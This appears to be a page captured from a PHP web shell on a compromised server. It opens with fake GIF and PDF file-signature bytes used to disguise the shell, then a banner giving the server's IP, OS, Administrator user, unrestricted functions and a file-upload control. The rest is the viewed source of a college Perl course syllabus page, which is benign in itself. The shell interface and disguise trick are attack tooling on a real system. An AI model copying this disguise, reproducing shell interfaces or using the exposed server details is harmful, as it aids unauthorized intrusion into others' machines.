GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/_Archive/CST1615/ |
Upload File : |
<? // CST1511/Syllabus.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. include('application.phpinc'); include('Course/courseInfo.phpinc'); include('classInfo.phpinc'); $title = "Syllabus"; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; include('common/pageHeader.phpinc'); include('Login/authenticate.phpinc'); $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title; include('common/sectionHeader.phpinc'); $userFullName = str_replace(" ","",$_SESSION['userFullName']); ?> <p> <fieldset><legend>Description</legend> This course is designed for the student entering the computer systems field who desires an understanding of the Perl programming language. Students will learn a beginning understanding of the Perl language. This is done through textbook study and hands-on programming work. <br> (Prerequisites: None) (3 Credits) (2 Lecture, 1 Lab, 0 On the Job Training.) </fieldset> <fieldset><legend>Objectives</legend> <ol class="obj"> <li>Describe yourself, your experience with computer systems, and your future goals.</li> <li>Describe why you took this class and your expected class outcomes.</li> <!-- Chapter 1 --> <li>Describe the uses of Perl</li> <!-- Chapter 2 --> <li>Use basic data structures</li> <li>Use operators and built-in functions</li> <li>Use control structures</li> <li>Use scalar and list contexts</li> <li>Use basic regular expressions</li> <li>Use string functions</li> <li>Perform input and output</li> <li>Create scripts</li> <!-- Chapter 3 --> <li>Access elements of an array</li> <li>Use special array indices</li> <li>Use list literals and list assignment</li> <li>Interpolate arrays into strings</li> <li>Use the foreach control structure</li> <li>Use default: $_</li> <li>Use scalar and list contexts and <STDIN></li> <!-- Chapter 4 --> <li>Describe system and user functions</li> <li>Define a subroutine</li> <li>Invoke a subroutine</li> <li>Use return values and arguments</li> <li>Use variables and scoping</li> <!-- Chapter 5 --> <li>Describe a hash</li> <li>Use Hash functions</li> <!-- Chapter 6 --> <li>Use standard input and standard output</li> <li>Use formatted output with printf</li> <!-- Chapter 7 --> <li>Describe regular expressions</li> <li>Use simple patterns in regular expressions</li> <!-- Chapter 8 --> <li>Use regular expression character classes and general quantifiers</li> <li>Use regular expression anchors, memory parentheses, and precedence</li> <!-- Chapter 9 --> <li>Use m// and option modifier in regular expressions</li> <li>Use the binding operator =~ in regular expressions</li> <li>Interpolate into patterns in regular expressions</li> <li>Use match variables in regular expressions</li> <li>Use the split operator and join function in regular expressions</li> <!-- Chapter 10 --> <li>Use the unless and until control structures</li> <li>Describe the naked block control structure</li> <li>Use the elsif clause</li> <li>Use the for control structure with autoincrement and autodecrement</li> <li>Use expression modifiers and logical operators</li> <!-- Chapter 11 --> <li>Describe a filehandle</li> <li>Describe fatal errors with die</li> <li>Use filehandles</li> <li>Reopen a standard filehandle</li> <!-- Chapter 12 --> <li>Move around the directory tree</li> <li>Use globbing</li> <li>Use directory handles</li> <li>Use recursive directory listing</li> <!-- Chapter 13 --> <li>Remove and rename files</li> <li>Use links and files</li> <li>Make and remove directories</li> <li>Modify permissions and change ownership and timestamps</li> <li>Use simple modules</li> <!-- Chapter 14 --> <li>Describe the system function</li> <li>Describe the exec function</li> <li>Describe environment variables</li> <li>Use backquotes to capture output</li> <li>Use processes as filehandles</li> <li>Use Fork and send and receive signals</li> <!-- Chapter 15 --> <li>Find a substring with index</li> <li>Manipulate a substring with substr</li> <li>Format data with sprintf</li> <li>Use advanced sorting</li> <!-- Chapter 16 --> <li>Describe DBM files and DBM hashes</li> <li>Manipulate data with pack and unpack</li> <li>Use fixed-length random-access databases</li> <li>Use variable-length (text) databases</li> <!-- Chapter 17 --> <li>Describe trapping errors with eval</li> <li>Use grep to pick items from a list</li> <li>Use map to transform items from a list</li> <li>Use unquoted hash keys and more powerful regular expressions</li> <li>Use slices</li> </ol> </fieldset> <? include('Course/ExampleFiles.phpinc'); include('ReferencesResources.phpinc'); ?> <fieldset><legend>Requirements</legend> <!-- <fieldset><legend>Lecture Format</legend> </fieldset> --> An average student will spend <?=$class['totalHours']?> hours performing course tasks: <? if ($class['lectureHours'] != 0) { ?><?=$class['lectureHours']?> hours of lecture<?=$lectureHoursPunctuation?><? } ?> <? if ($class['labHours'] != 0) { ?><?=$class['labHours']?> hours working on assigned tasks in the lab<?=$labHoursPunctuation?><? } ?> <? if ($class['outsideHours'] != 0) { ?><?=$class['outsideHours']?> hours out-of-class<? } ?> . Factual information is provided through informal presentation or in a personalized format. The student is expected to contact the instructor if difficulty is encountered or help is needed. Attendance is critical for completion of the lab credits. </fieldset> <fieldset><legend>Grading</legend> Assignment and quiz grades are totaled and translated to a percentage and the percentages to grades. A score of 70% is passing. The following percentage distribution guarantees the following grade: A:93%+, A-:90%+, B+:87%+, B:83%+, B-:80%+, C+:77%+, C:73%+, C-:70%+, F:<70%. </fieldset> </p> <? include('Course/DisabilityNotice.phpinc'); include('common/sectionFooter.phpinc'); include('common/pageFooter.phpinc'); ?>